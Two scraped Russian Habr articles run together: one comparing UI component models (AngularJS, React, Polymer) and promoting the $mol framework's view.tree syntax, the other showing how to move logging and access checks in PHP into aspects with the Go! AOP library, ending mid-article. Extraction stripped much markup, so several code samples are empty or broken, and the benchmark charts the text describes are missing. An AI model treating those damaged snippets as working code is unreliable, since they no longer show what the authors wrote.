Зачастую при разработке фреймворков основное внимание уделяется таким вещам как "простота", "гибкость" и "скорость", но практически игнорируется такое немаловажное качество как "исследуемость". Предполагается, что взявшийся работать с ним разработчик уже прочитал всю документацию, понял её правильно и вообще очень одарённый человек. Но правда жизни заключается в том, что документация зачастую не полна, плохо структурирована, на не родном языке и требует очень много времени для полного изучения, которого всегда не хватает, да и разработчик зачастую не имеет за плечами десяти лет опыта и досконального знания паттернов. Поэтому лучшая документация — это примеры. Лучшие примеры — это тесты. А лучший способ понять как оно работает — разобрать. Так что важно не изолировать внутреннее состояние, а предоставлять простой и удобный доступ к нему. Через консоль, через отладчик, через логи. Необходимо именовать одни и те же сущности одинаково в разных местах: имена переменных в разных модулях, имена модулей в разных контекстах, имена классов в скриптах, стилях и вёрстке и тд. А также необходимо добавлять информацию о не очевидных связях между сущностями. Например, посмотрите на этот код:
```
```
Как тут можно догадаться, что оба этих элемента были добавлены в дерево компонентом my-page? Добавим недостающую информацию:
```
```
Теперь стало понятно куда копать, и кто виноват в том, что кнопка удаления страницы находится не на той панели. Другой яркий пример связан с парсингом. Когда вы применяете JSON.parse, то теряете информацию о расположении данных в исходном файле. Поэтому, когда при последующей валидации вы обнаруживаете ошибку, то не можете сообщить пользователю "На такой-то строке обнаружен не валидный e-mail", а вынуждены изобретать костыли вида "Невалидный e-mail по пути departaments[2].users[14].mails[0]". Напротив, при использовании [формата tree](https://habrahabr.ru/post/248147/) вы всегда можете получить из узла информацию о [месте его объявления](https://github.com/nin-jin/jack.d/blob/master/examples/test.jack.tree#L87):
```
core.exception.RangeError@./jin/tree.d(271): Range violation
./examples/test.jack.tree#87:20 cut-tail
./examples/test.jack.tree#87:11 cut-head
./examples/test.jack.tree#88:7 body
./examples/test.jack.tree#85:6 jack
./examples/test.jack.tree#83:0 test
./examples/test.jack.tree#1:1
```
**Хлебные крошки не помешают как в пользовательском интерфейсе, так и в программном коде.**
Компонентная декомпозиция
=========================
Самым важным аспектом любого фреймворка является реализация единого протокола взаимодействия. Собственно, в случае микромодульного фреймворка, единственное, чем занимается ядро — это организация взаимодействия модулей, как стандартных, так и пользовательских. В случае ui фреймворка, основной его задачей является организация взаимодействия компонент — этаких мини приложений, которые и сами по себе могут работать, но поддерживают и некоторый API для взаимодействия с другими компонентами, позволяя собирать из них как из кубиков лего более сложные компоненты, вплоть до полноценных приложений. Давайте рассмотрим, что нам предлагают современные фреймворки...
AngularJS
---------
Объявление компоненты:
```
angular.module( 'my' ).component( 'panel' , {
transclude : {
myPanelHead : '?head',
myPanelBody : 'body'
},
template: `
No data
`
} )
```
Для объявления компоненты нам потребовалось написать немного скриптов, немного шаблонов и приложить к ним некоторый конфиг, описывающий API. Получилось весьма многословно и запутанно. Необходимо держать в голове, что ng-transclude содержит не просто текст, а имя параметра, значение которого будет вставлено внутрь элемента. Нужно внимательно поддерживать маппинг внешних имён параметров на внутренние. Нужно всем элементам расставить классы, чтобы их можно было стилизовать. А теперь попробуем воспользоваться этой компонентой:
```
My tasks
```
Как видим, для каждого параметра нам пришлось добавить дополнительные тэги. Поскольку все эти тэги находятся в одном пространстве имён, то нам пришлось к каждому параметру добавить префикс с именем компонента (эти тэги как есть будут зачем-то вставлены в результирующее дерево). Да, в простейших случаях вы можете воспользоваться атрибутами, но если есть вероятность, что потребуется вставлять вложенную компоненту, а не просто строку текста, то приходится использовать такие вот громоздкие конструкции.
А теперь типичная ситуация: есть готовая компонента и нам надо её слегка кастомизировать. Например, добавить подвал. Беда многих подобных фреймворков в том, что реализованные на них компоненты слишком жёсткие и изолированные. Вы не можете просто отнаследоваться от компонента и слегка поменять его поведение. Вместо этого, вам необходимо либо вносить изменения в сам исходный компонент, усложняя его и заставляя уметь слишком многое:
```
angular.module( 'app' ).component( 'myPanelExt' , {
scope : {
myPanelShowFooter : '='
},
transclude : {
myPanelHead : '?head',
myPanelBody : 'body',
myPanelFoot : '?foot'
},
template: `
No data
`
} )
```
Либо копипастить, создавая новый компонент очень похожий на старый, но слегка другой:
```
angular.module( 'app' ).component( 'myPanelExt' , {
transclude : {
myPanelHead : '?head',
myPanelBody : 'body',
myPanelFoot : '?foot'
},
template: `
No data
`
} )
```
ReactJS
-------
Объявление компоненты:
```
class MyPanel extends React.Component {
render() { return (
{this.props.head}
{this.props.body}
) }
}
```
Уже гораздо лучше, хотя и осталась по прежнему неотделимая завязка на JS. Почему это плохо? Потому, что не везде JS является оптимальным языком программирования. В вебе у вас нет выбора. Но под iOS лучше бы подошёл Swift или ObjectiveC, под Android — Java, а под десктопы выбор языков вообще огромен, но на JS свет клином не сошёлся. По прежнему мы имеем проблему жёсткости и изолированности компоненты, так что с кастомизацией всё почти так же плохо, как и в AngularJS. "Почти", потому, что мы можем расчленить наш шаблон на мелкие кусочки, что позволит в дальнейшем их переопределять:
```
class MyPanel extends React.Component {
header() { return {this.props.head} }
bodier() { return {this.props.body} }
childs() { return [ this.header() , this.bodier() ] }
render() { return {this.childs()}
}
```
```
class MyPanelExt extends MyPanel {
footer() { return {this.props.foot} }
childs() { return [ this.header() , this.bodier() , this.footer() ] }
}
```
Мы получили неплохую гибкость, но потеряли наглядность иерархии элементов. А использование XML синтаксиса в этом случае становится излишним. Особенно экстравагантно выглядело бы использование компоненты без расчленения на функции:
```
class MyApp extends MyPanel {
render() { return (
}
/>
) }
}
```
Polymer
-------
Объявление компоненты:
```
Polymer({
is: 'my-panel'
})
```
Бросается в глаза получение параметров через селекторы, что делает использование компоненты весьма не наглядным:
```
My tasks
Polymer({
is: 'my-app'
})
```
В целом, описание компоненты похоже на хак, который берёт чужое дерево и видоизменяет его до неузнаваемости. В хитросплетениях реального и теневого дерева довольно сложно разбираться.
Наследование пока не поддерживается, так что используем силу копипасты:
```
Polymer({
is: 'my-panel-ext'
})
```
Отдельно стоит отметить проблему стилизации. Каждая компонента тянет с собой свои стили, которые по умолчанию изолированы от всех остальных компонент. С одной стороны, это позволяет использовать короткие имена классов в рамках одной компоненты, с другой же, добавляет проблем при необходимости кастомизировать визуализацию компоненты в каком-то конкретном контексте использования.
Сферический идеальный фреймворк
-------------------------------
Давайте попробуем сформурировать, что необходимо для описания компонента. Как бы ни хотелось при построении интерфейса реиспользовать готовые компоненты как есть, их всегда требуется дотачивать под себя. То есть, описание компонента должно поддерживать наследование. Чтобы из компонент можно было собирать произвольные интерфейсы, требуется, чтобы их можно было вкладывать друг в друга произвольным образом. То есть, нам нужен полиморфизм. Чтобы одни и те же компоненты можно было использовать из разных языков, их описание должно быть декларативным, при этом синтаксис должен быть максимально простым и наглядным. Ну и статическую типизацию никто не отменял.
Как показано выше, XML совсем не удовлетворяет этим требованиям. Вообще, все попытки сделать из XML шаблонизатор выглядят как помесь ужа с ежом. То XML встраивается в JS, то JS встраивается в XML, а то и изобретается свой примитивный язык программирования с XML-синтаксисом.
Давайте воспользуемся [tree-синтаксисом](https://habrahabr.ru/post/248147/) для объявления простой компоненты:
```
$my_panel $mol_view
```
Тут мы просто говорим, что компонент $my\_panel — наследник от $mol\_view. Нас не волнует как и на каком языке реализован $mol\_view, но мы утверждаем, что $mol\_panel должен быть реализован точно так же. Например, приведённое выше описание, может развернуться в следующее DOM-дерево:
Как можно заметить, для элемента были автоматически сгенерированы некоторые атрибуты. Прежде всего это id — глобальный идентификатор компонента. Он не зря имеет такой странный вид, ведь его можно скопировать и вставить в консоль, получив тем самым прямой доступ к инстансу компонента, за этот элемент ответственного. Это очень сильно упрощает отладку и исследование чужого кода. Далее идут атрибуты, предназначенные прежде всего для стилизации. Вы можете определить стилизацию для базового компонента, а потом перегрузить её для наследника:
```
[mol_view] {
animation : mol_view_showing 1s ease;
}
```
```
[my_panel] {
animation : none;
}
```
Как видите, нам не потребовался даже css препроцессор, чтобы реализовать наследование в CSS. То есть, для декларации наследования у нас есть только одно место в коде — это описание компоненты. И не нужно отдельно наследоваться в JS, отдельно в CSS, отдельно в HTML. По этому описанию также может быть сгенерирован и TypeScript-класс для этого компонента:
```
module $.$$ {
export class $my_panel extends $.$mol_view {
}
}
```
Компонент $mol\_view может предоставлять стандартное свойство sub для определения списка дочерних узлов. Поэтому давайте добавим возможность объявления и перегрузки свойств:
```
$my_panel $mol_view
head /
body /
\No data
Head $mol_view
sub <= head /
Body $mol_view
sub <= body /
sub
<= Head -
<= Body -
```
Тут мы объявили свойства head и body, представляющие собой содержимое шапки и тела панели. После имени мы указали значение по умолчанию. Чтобы компонента была самодостаточной, значения по умолчанию должны быть всегда. Далее, мы определили свойства Head и Body, значения которых по умолчанию являются инстансами $mol\_view с перегруженным свойством sub — оно будет замещено соответствующим свойством из определяемого компонента. Соответственно, при использовании панели мы можем переопределить любое из этих свойств, достигнув тем самым очень высокой гибкости:
```
$my_app $my_panel
head /
\My tasks
body /
<= Tasks $my_task_list
assignee \me
status \todo
```
Однако, как и в случае с ReactJS, мы потеряли структуру. Но заметим, что после имени свойства при биндинге мы можем тут же указать и значение по умолчанию для него:
```
$my_panel $mol_view
sub /
<= Head $mol_view
sub <= head /
<= Body $mol_view
sub <= body /
\No data
```
В результате у нас получилось довольно компактное описание компоненты. При этом каждый вложенный элемент получил уникальное имя, которое можно использовать для генерации bem-like атрибутов:
```
```
В итоге мы сохранили иерархию, не потеряв в гибкости. Создадим вариант панельки с подвалом:
```
$my_panel_ext $my_panel
sub /
<= Head -
<= Body -
<= Foot $mol_view
sub <= foot /
```
Но что если нам нужна динамика? Например, показывать подвал в зависимости от какого-либо условия. Нет ничего лучше для описания логики, чем язык программирования. Поэтому воспользуемся TypeScript, чтобы добавить логику к декларативному описанию компоненты:
```
namespace $.$$ {
export class $my_panel extends $.$my_panel {
@ $mol_mem
foot_showed( next = false ) { return next }
sub(){
return [
this.Head() ,
this.Body() ,
... this.foot_chowed() ? [ this.Foot() ] : [] ,
]
}
}
}
```
Важно отметить, что компонент самодостаточнен и без логики. Это позволяет верстальщику вывести один и тот же компонент в разных состояниях, не залезая в программный код, что очень сильно повышает его продуктивность:
```
$my_panel_demo $mol_demo_large
sub /
<= Simple $mol_panel
foot_showed false
head /
\I am simple panel
<= Footered $mol_panel
foot_showed true
head /
\I am panel with footer
```
А так как это описание в конечном счёте будет транслировано в typescript класс, то мы автоматом получим и статическую типизацию. И хотя IDE без специальных плагинов всё же не сможет вывести контекстные подсказки во view.tree коде, компилятор, тем не менее, проверит, что мы не используем необъявленные свойства, передаём им правильные типы значений и тп.
Производительность
==================
В статьях про каждый второй фреймворк пишут, что он разрабатывается с прицелом на производительность, и что тот чуть ли не самый быстрый из всех. Иногда даже приводят в доказательство какие-нибудь синтетические тесты. Как правило код в таких тестах весьма далёк от того, что можно было бы встретить в реальном приложении. В погоне за попугаями теряется простота, гибкость, компонуемость, настраиваемость. Не редко можно встретить чуть ли не полный отказ от возможностей фреймворка ради скорости. Результат такого надругательства над кодом — производительность, которую можно достигнуть приложив знания, умения и время. Но куда важнее не максимальная скорость, которую можно достичь, а минимальная, которую вы получите написав идиоматичный для данного фреймворка код. Чем выше минимальная скорость, тем реже вам придётся браться за напильник, тем менее квалифицированные (и как следствие — менее дорогие) требуются разработчики, тем быстрее идёт разработка. Поэтому фреймворк, на котором сложно сделать медленно, предпочтительнее фреймворка, на котором можно сделать быстро.
Типичный jQuery рендеринг выглядит так: берём шаблон, генерируем новый HTML подставляя в него данные, вставляем в дерево, навешиваем события. Проблема этого подхода в том, что даже малейшее изменение данных требует повторного рендеринга всего шаблона. Это не заметно на малых объёмах данных, но рано или поздно данных становится много и всё начинает тормозить. А что более существенно, при ререндеринге сбрасываются скроллинги, введённые в поля значения и тому подобные вещи. Представьте, что вы пришли побриться, а цирюльник убивает вас, берёт ДНК и выращивает вашего клона без бороды. Решается это обычно вручную — находим нужные элементы и патчим их, что приводит к большому объёму очень хрупкого кода.
Всё, что делает ReactJS — это ускоряет рендеринг всего шаблона за счёт того, что рендерит его не напрямую в DOM дерево, а в промежуточное дерево JS объектов, которые уже сравниваются с реальным деревом и при наличии расхождения точечно меняет DOM. Уже лучше, конечно, но всё равно куча лишней работы: цирюльник берёт вашу ДНК, выращивает клона без бороды, раздевает вас обоих до гола и, педантично сравнивая волосяной покров, с хирургической точностью делает вас похожим на вашего клона, после чего клона отправляют в биореактор. Похожим образом поступает AngularJS с той лишь разницей, что сравнивает он не ваш клон и вас самих, а фотографии какого-то мужика вчера и сегодня, и если обнаруживает, что у того пропала борода, то сбривает её и вам. А что творится в Polymer после 100500 транспиляций и представить сложно.
Но нет ничего эффективней, чем просто показать цирюльнику фотографию чистого подбородка, удобно расположиться в кресле и быть уверенным, что всё, что тот сделает — это просто сбреет вам бороду.
Но вернёмся к бенчмаркам. Производительность всё же надо контролировать. Причём важна производительность не отдельных подсистем в рафинированных условиях, а общая производительность итогового приложения. Поэтому мы воспользуемся для тестирования широко известной коллекцией одного и того же приложения на разных фреймворках — [ToDoMVC](http://todomvc.com/). Так как основная задача этого проекта — демонстрация идиоматичного кода на разных фреймворках, то он отлично подходит для интегральной оценки их производительности. По сети разбросано множество версий бенчмарка с ToDoMVC приложениями, поэтому пришлось попотеть, собирая из разных форков один [ToDoMVC Benchmark](https://github.com/eigenmethod/todomvc/tree/master/benchmark) реализованный через [специальный интерфейс для быстрого написания крутых бенчмарков](https://habrahabr.ru/post/322162/).
Каждое приложение прогоняется через 2 теста:
1. Создание 100 задач через поле создания задач. Каждая следующая задача создаётся через setTimeout, что не позволяет фреймворку срезать путь и схлопнуть 100 операций рендеринга в одну. Визуально это выглядит как постепенное разрастание списка задач от 0 до 100. Этот шаг показывает насколько дорого фреймворку обходится формирование интерфейса.
2. Удаление задач по одной, нажатиями на кнопки удаления задачи. Тут опять используется setTimeout для предотвращения схлопывания 100 операций рендеринга в одну. Этот шаг показывает эффективность фреймворка по уничтожению интерфейса. Визуально это выглядит как постепенное исчезновение задач сверху списка. Такое удаление задач гарантирует, что все строки рано или поздно будут отрендерены, даже если фреймворк рендерит лишь компоненты, попадающие в видимую область.
Также стоит отметить, что каждое приложение прогоняется ровно один раз в отдельном фрейме, что не позволяет ему кешировать какие-либо объекты.
А теперь уберём из тестирования совсем аутсайдеров и увеличим число задач вдвое:
Ожидаемым является увеличение времени работы не более чем в 2 раза. Однако лишь немногим решениям удалось добиться такой пологой динамики. Как правило замедление составило порядка 2.5, а в некоторых случаях даже превысило 3.
**Неправильный выбор фреймворка может замедлить ваше приложение более чем в 10 раз.**
Призыв к действию
=================
Хватит это терпеть! Если вы, как и я, устали от этих всё более усложняющихся инструментов, которые не упрощают разработку, а меняют одни сложности на другие, то присоединяйтесь к разработке простого и эффективного сферического фреймворка в безвоздушном пространстве.
**Основные характеристики**
* Минимум абстракций и соглашений.
* Статическая типизация.
* Реактивная архитектура.
* Высокая эффективность.
* Компактный размер.
* Простота компоновки.
* Высокая кастомизируемость компонент.
* Высокая исследуемость и отлаживаемость.
* Разработка множества библиотек/приложений в одной кодовой базе.
[**Документация**](https://github.com/eigenmethod/mol#readme)
[**Живые примеры**](http://mol.js.org/) | https://habr.com/ru/post/276747/ | null | ru | null |
# Избавляемся от дублирования сквозного кода в PHP: рефакторинг кода с АОП
Думаю, каждому программисту знаком принцип единственной ответственности,  ведь не зря он существует: соблюдая его, можно написать код лучше, он будет более понятным, его будет легче дорабатывать.
Но чем больше каждый из нас работает с кодом, тем больше приходит понимание того, что на существующем уровне языка — объектно-ориентированном — этого сделать невозможно. А мешает нам в соблюдении принципа единственной ответственности такой факт, как сквозная функциональность.
Эта статья о том, как можно избавиться от дублирования сквозного кода, и как сделать его чуточку лучше с помощью АОП.
### Сквозная функциональность или «мокрый» код
С вероятностью около 95% в любом приложении можно найти куски [сквозной функциональности](http://en.wikipedia.org/wiki/Cross-cutting_concern), которые прячутся в коде под видом кэширования, логирования, обработки исключений, транзакционного контроля и разграничения прав доступа. Как вы уже догадались из названия, эта функциональность живет на всех слоях приложения (у вас же есть слои?) и вынуждает нас нарушать несколько важных принципов: [DRY](http://ru.wikipedia.org/wiki/Don%E2%80%99t_repeat_yourself "Do not Repeat Yourself") и [KISS](http://ru.wikipedia.org/wiki/KISS_(%D0%BF%D1%80%D0%B8%D0%BD%D1%86%D0%B8%D0%BF) "Keep It Simple, Stupid"). Нарушая принцип DRY, вы автоматически начинаете использовать принцип WET и код становится «мокрым», что отражается в виде увеличения метрик Lines of Code (LOC), [Weighted Method Count](http://pdepend.org/documentation/software-metrics/weighted-method-count.html) (WMC), [Cyclomatic Complexity](http://pdepend.org/documentation/software-metrics/cyclomatic-complexity.html) (CCN).
Давайте посмотрим, как это происходит в реальной жизни. Приходит техническое задание, по нему проектируется система, проводится декомпозиция на классы и описываются необходимые методы. На этом этапе система совершенна, понятно назначение каждого класса и сервиса, все просто и логично. А дальше сквозная функциональность начинает диктовать свои правила и заставляет программиста вносить правки в код всех классов, так как в ООП нет возможности провести декомпозицию по сквозному функционалу. Этот процесс протекает незаметно, потому что все привыкли к нему, как к обычному явлению, и никто не пытается что-либо исправить. Процесс идет по стандартной схеме, отработанной годами.
Сначала пишется логика самого метода, которая содержит необходимую и достаточную реализацию:
```
/**
* Creates a new user
*
* @param string $newUsername Name for a new user
*/
public function createNewUser($newUsername)
{
$user = new User();
$user->setName($newUsername);
$this->entityManager->persist($user);
$this->entityManager->flush();
}
```
… после этого добавляем еще 3 строчки кода на проверку прав доступа
```
/** ... */
public function createNewUser($newUsername)
{
if (!$this->security->isGranted('ROLE_ADMIN')) {
throw new AccessDeniedException();
}
$user = new User();
$user->setName($newUsername);
$this->entityManager->persist($user);
$this->entityManager->flush();
}
```
… потом еще 2 строчки для логирования начала и конца выполнения метода
```
/** ... */
public function createNewUser($newUsername)
{
if (!$this->security->isGranted('ROLE_ADMIN')) {
throw new AccessDeniedException();
}
$this->logger->info("Creating a new user {$newUsername}");
$user = new User();
$user->setName($newUsername);
$this->entityManager->persist($user);
$this->entityManager->flush();
$this->logger->info("User {$newUsername} was created");
}
```
Узнаете свой код? Еще нет? Тогда давайте добавим туда еще 5 строчек обработки возможной исключительной ситуации с нескольким разными обработчиками. В методах, возвращающих данные, может добавиться еще 5 строчек для сохранения результата в кэше. Таким образом, из 4 строчек кода, которые реально имеют ценность, может получиться порядка 20 строк кода. Чем это грозит, думаю понятно — метод становится сложнее, его труднее читать, дольше приходится разбираться с тем, что реально он делает, сложнее тестировать, потому что приходится подсовывать моки для логера, кэша и т.д. Так как пример был для одного из методов, то логично предположить, что утверждения относительно размера метода справедливы и для класса, и для всей системы в целом. Чем старше код системы, тем больше он обрастает подобным мусором и становится все тяжелее следить за ним.
Давайте посмотрим на существующие решения проблем сквозной функциональности.
### Чистота — залог здоровья! Здоровье прежде всего!
Заголовок я рекомендую читать в контексте разработки приложений так: «Чистота кода — залог здоровья приложения! Здоровье приложения прежде всего!». Было бы неплохо повесить такую табличку перед каждым разработчиком, чтобы всегда об этом помнить :)
Итак, мы решили всеми силами содержать код в чистоте. Какие решения у нас есть и что мы можем использовать?
#### Декораторы
Декораторы — первое, что приходит на ум. [Декоратор](http://ru.wikipedia.org/wiki/%D0%94%D0%B5%D0%BA%D0%BE%D1%80%D0%B0%D1%82%D0%BE%D1%80_(%D1%88%D0%B0%D0%B1%D0%BB%D0%BE%D0%BD_%D0%BF%D1%80%D0%BE%D0%B5%D0%BA%D1%82%D0%B8%D1%80%D0%BE%D0%B2%D0%B0%D0%BD%D0%B8%D1%8F)) — структурный шаблон проектирования, предназначенный для динамического подключения дополнительного поведения к объекту. Шаблон Декоратор предоставляет гибкую альтернативу практике создания подклассов с целью расширения функциональности.
Когда разговор заходит об [АОП](http://ru.wikipedia.org/wiki/%D0%90%D1%81%D0%BF%D0%B5%D0%BA%D1%82%D0%BD%D0%BE-%D0%BE%D1%80%D0%B8%D0%B5%D0%BD%D1%82%D0%B8%D1%80%D0%BE%D0%B2%D0%B0%D0%BD%D0%BD%D0%BE%D0%B5_%D0%BF%D1%80%D0%BE%D0%B3%D1%80%D0%B0%D0%BC%D0%BC%D0%B8%D1%80%D0%BE%D0%B2%D0%B0%D0%BD%D0%B8%D0%B5 "Аспектно-Ориентированное Программирование"), первый вопрос, который обычно задают ООП-программисты — почему не использовать обычный декоратор? И это правильно! Потому что декоратором можно сделать почти все то, что делается с помощью АОП, но… Контр-пример: что если мы сделаем LoggingDecorator поверх CachingDecorator, а последний, в свою очередь, поверх основного класса? Сколько однотипного кода будет в этих декораторах? Сколько различных классов декораторов будет во всей системе?
Легко прикинуть, что если у нас 100 классов, реализующих 100 интерфейсов, то добавление кэширующих декораторов добавит нам в систему еще 100 классов. Конечно, это не проблема в современном мире (загляните в папку cache любого большого фреймворка), но зачем нам нужны эти 100 однотипных классов? Непонятно, согласитесь?
Тем не менее, умеренное использование декораторов полностью оправданно.
#### Прокси-классы
Прокси-классы — второе, что приходит на ум. [Прокси](http://ru.wikipedia.org/wiki/Proxy_(%D1%88%D0%B0%D0%B1%D0%BB%D0%BE%D0%BD_%D0%BF%D1%80%D0%BE%D0%B5%D0%BA%D1%82%D0%B8%D1%80%D0%BE%D0%B2%D0%B0%D0%BD%D0%B8%D1%8F)) — шаблон проектирования, предоставляет объект, который контролирует доступ к другому объекту, перехватывая все вызовы (выполняет функцию контейнера).
Не очень хорошее решение с моей точки зрения, но у всех разработчиков на слуху кэширующие прокси, поэтому их так часто можно встретить в приложениях. Основные недостатки: падение скорости работы (часто используется \_\_call, \_\_get, \_\_callStatic, call\_user\_func\_array), а также ломается тайпхинтинг, потому что вместо реального объекта приходит прокси-объект. Если попытаться завернуть кэширующий прокси поверх логирующего, а тот, в свою очередь, поверх основного класса, то скорость упадет на порядок.
Но есть и плюс: в случае 100 классов мы можем написать один кэширующий прокси на все классы. Но! Ценой отказа от тайпхинтинга по 100 интерфейсам, что категорически неприемлемо при разработке современных приложений.
#### События и паттерн Наблюдатель
Трудно не вспомнить такой замечательный паттерн, как Наблюдатель. [Наблюдатель](http://ru.wikipedia.org/wiki/%D0%9D%D0%B0%D0%B1%D0%BB%D1%8E%D0%B4%D0%B0%D1%82%D0%B5%D0%BB%D1%8C_(%D0%BC%D0%BE%D0%B4%D0%B5%D0%BB%D1%8C)) (Observer) — поведенческий шаблон проектирования. Также известен как «подчинённые» (Dependents), «издатель-подписчик» (Publisher-Subscriber).
Во многих известных фреймворках разработчики сталкиваются со сквозной функциональностью и необходимостью со временем расширять логику некоторого метода. Было испробовано много идей, и одной из самых удачных и понятных стала модель событий и подписчиков на эти события. Добавляя или удаляя подписчиков на события, мы можем расширять логику основного метода, а изменяя их порядок с помощью приоритетов — выполнять логику обработчиков в нужном порядке. Весьма неплохо, почти АОП!
Надо отметить, что это максимально гибкий шаблон, так как на его основе вы можете спроектировать систему, которая будет расширяться очень легко и будет понятной. Если бы не было АОП, это был бы самый лучший способ расширять логику методов, не изменяя при этом исходного кода. Не удивительно, что многие фреймворки используют события для расширения функциональности, например ZF2, Symfony2. На сайте Symfony2 есть [отличная статья](http://symfony.com/doc/master/cookbook/event_dispatcher/class_extension.html) о том, как можно расширить логику метода, не используя наследование.
Тем не менее, несмотря на все плюсы, есть несколько больших минусов, которые иногда перевешивают плюсы. Первый минус заключается в том, что вы должны заранее знать, что и где может расширяться в вашей системе. К сожалению, зачастую это неизвестно. Второй минус заключается в том, что необходимо писать код особым образом, добавляя шаблонные строки генерации события и его обработки (пример из Symfony2):
```
class Foo
{
// ...
public function __call($method, $arguments)
{
// create an event named 'foo.method_is_not_found'
$event = new HandleUndefinedMethodEvent($this, $method, $arguments);
$this->dispatcher->dispatch('foo.method_is_not_found', $event);
// no listener was able to process the event? The method does not exist
if (!$event->isProcessed()) {
throw new \Exception(sprintf('Call to undefined method %s::%s.', get_class($this), $method));
}
// return the listener returned value
return $event->getReturnValue();
}
}
```
#### Сигналы и слоты
Этот [паттерн](http://ru.wikipedia.org/wiki/%D0%A1%D0%B8%D0%B3%D0%BD%D0%B0%D0%BB%D1%8B_%D0%B8_%D1%81%D0%BB%D0%BE%D1%82%D1%8B), по своей сути, является реализацией паттерна Наблюдатель, но позволяет сократить количество повторяющегося кода.
Из самых интересных реализаций этого паттерна я бы отметил ядро фреймворка Lithium, изучение которого может дать много нового даже продвинутым разработчикам. Если вкратце, то Lithium позволяет навешивать функции-фильтры обратного вызова на любые важные методы в системе и проводить дополнительную обработку. Желаете писать лог запросов к базе в файл в отладочном режиме — нет ничего проще:
```
use lithium\analysis\Logger;
use lithium\data\Connections;
// Set up the logger configuration to use the file adapter.
Logger::config(array(
'default' => array('adapter' => 'File')
));
// Filter the database adapter returned from the Connections object.
Connections::get('default')->applyFilter('_execute', function($self, $params, $chain) {
// Hand the SQL in the params headed to _execute() to the logger:
Logger::debug(date("D M j G:i:s") . " " . $params['sql']);
// Always make sure to keep the filter chain going.
return $chain->next($self, $params, $chain);
});
```
Настоятельно рекомендую ознакомиться с [системой фильтров](http://lithify.me/docs/manual/lithium-basics/filters.wiki), потому что реализация фильтров в Lithium максимально приближает разработку к аспектно-ориентированному программированию и может стать для вас тем толчком, который позволит окунуться в мир АОП окончательно.
#### Аспектно-ориентированное программирование
Итак, мы подошли к самому интересному — к использованию аспектно-ориентированного программирования для борьбы с дублированием сквозного кода. На хабре уже были статьи по [АОП](http://habrahabr.ru/search/?q=aop), в том числе и для [PHP](http://habrahabr.ru/search/?q=aop+php), поэтому я не буду повторять этот материал и давать определения тех терминов и те приемы, которые использует АОП. Если вы не знакомы с терминами и понятиями АОП, то перед дальнейшим чтением можно ознакомиться со статьей про [АОП](http://ru.wikipedia.org/wiki/%D0%90%D1%81%D0%BF%D0%B5%D0%BA%D1%82%D0%BD%D0%BE-%D0%BE%D1%80%D0%B8%D0%B5%D0%BD%D1%82%D0%B8%D1%80%D0%BE%D0%B2%D0%B0%D0%BD%D0%BD%D0%BE%D0%B5_%D0%BF%D1%80%D0%BE%D0%B3%D1%80%D0%B0%D0%BC%D0%BC%D0%B8%D1%80%D0%BE%D0%B2%D0%B0%D0%BD%D0%B8%D0%B5 "Аспектно-ориентированное программирование") на Википедии.
Итак, фильтры в Lithium позволяют подключать дополнительные обработчики почти куда угодно, что дает возможность вынести код кэширования, логирования, проверки прав доступа в отдельные замыкания. Казалось бы, вот она, серебряная пуля. Но все не так уж гладко. Во-первых, для использования фильтров нам нужно подключить весь фреймворк, так как отдельной библиотеки для этого нет, а жаль. Во-вторых, фильтры-замыкания (в терминах АОП — советы) разбросаны повсюду и за ними очень сложно следить. В-третьих, код должен быть написан определенным образом и реализовывать специальные интерфейсы, чтобы можно было использовать фильтры. Эти три минуса значительно ограничивают возможность использовать фильтры в качестве АОП в других приложениях и фреймворках.
Вот здесь у меня и появилась идея — написать библиотеку, которая дала бы возможность использовать АОП в любом приложении на PHP. Дальше была битва с PHP, изучение техник ускорения кода, борьба с багами опкод-ускоритиелей и много-много интересного. В результате родилась библиотека Go! AOP PHP, которая может внедриться в существующее приложение, перехватить доступные методы во всех классах и вынести из них сквозную функциональность на несколько тысяч строк кода в пару десятков строк советов.
### Библиотека Go! AOP PHP
Основные отличия от всех существующих аналогов — это библиотека, не требующая никаких расширений PHP, не призывающая на помощь черную магию runkit-a и php-aop. Она не использует eval-ов, не завязана на DI-контейнер, не нуждается в отдельном компиляторе аспектов в конечный код. Аспекты представляют собой обычные классы, органично использующие все возможности ООП. Формируемый библиотекой код с вплетенными аспектами — очень чистый, его можно легко отлаживать с помощью XDebug-а, причем как сами классы, так и аспекты.
Самое ценное в этой библиотеке то, что теоретически ее можно подключить в любое приложение, потому что для добавления новой функциональности с помощью АОП не нужно менять код приложения вообще, аспекты вплетаются динамически. Для примера: с помощью десяти-двадцати строк кода можно перехватить все публичные, защищенные и статические методы во всех классах при запуске стандартного ZF2-приложения и выводить при вызове метода на экран имя этого метода и его параметры.
Проработан вопрос работы с опкод-кэшерем — в боевом режиме вплетение аспектов происходит только раз, после чего код достается из опкод-кэшера. Используются Doctrine-аннотации для классов аспектов. В общем, много чего интересного внутри.
#### Рефакторинг сквозного кода с использованием АОП
Чтобы разжечь интерес к АОП побольше, я решил выбрать интересную тему, о которой можно найти мало информации — рефакторинг кода к аспектам. Дальше будет два примера того, как можно сделать свой код чище и понятнее с использованием аспектов.
##### Выносим логирование из кода
Итак, представим, что у нас есть логирование всех выполняемых публичных методов в 20 классах, находящихся в неймспейсе Acme. Выглядит это как-то так:
```
namespace Acme;
class Controller
{
public function updateData($arg1, $arg2)
{
$this->logger->info("Executing method " . __METHOD__, func_get_args());
// ...
}
}
```
Давайте возьмем и отрефакторим этот код с использованием аспектов! Легко заметить, что логирование выполняется перед кодом самого метода, поэтому сразу выбираем тип совета — Before. Дальше нам нужно определить точку внедрения — выполнение всех публичных методов внутри неймспейса Acme. Это правило задается выражением execution(public Acme\\*->\*()). Итак, пишем LoggingAspect:
```
use Go\Aop\Aspect;
use Go\Aop\Intercept\MethodInvocation;
use Go\Lang\Annotation\Before;
/**
* Logging aspect
*/
class LoggingAspect implements Aspect
{
/** @var null|LoggerInterface */
protected $logger = null;
/** ... */
public function __construct($logger)
{
$this->logger = $logger;
}
/**
* Method that should be called before real method
*
* @param MethodInvocation $invocation Invocation
* @Before("execution(public Acme\*->*())")
*/
public function beforeMethodExecution(MethodInvocation $invocation)
{
$obj = $invocation->getThis();
$class = is_object($obj) ? get_class($obj) : $obj;
$type = $invocation->getMethod()->isStatic() ? '::' : '->';
$name = $invocation->getMethod()->getName();
$method = $class . $type . $name;
$this->logger->info("Executing method " . $method, $invocation->getArguments());
}
}
```
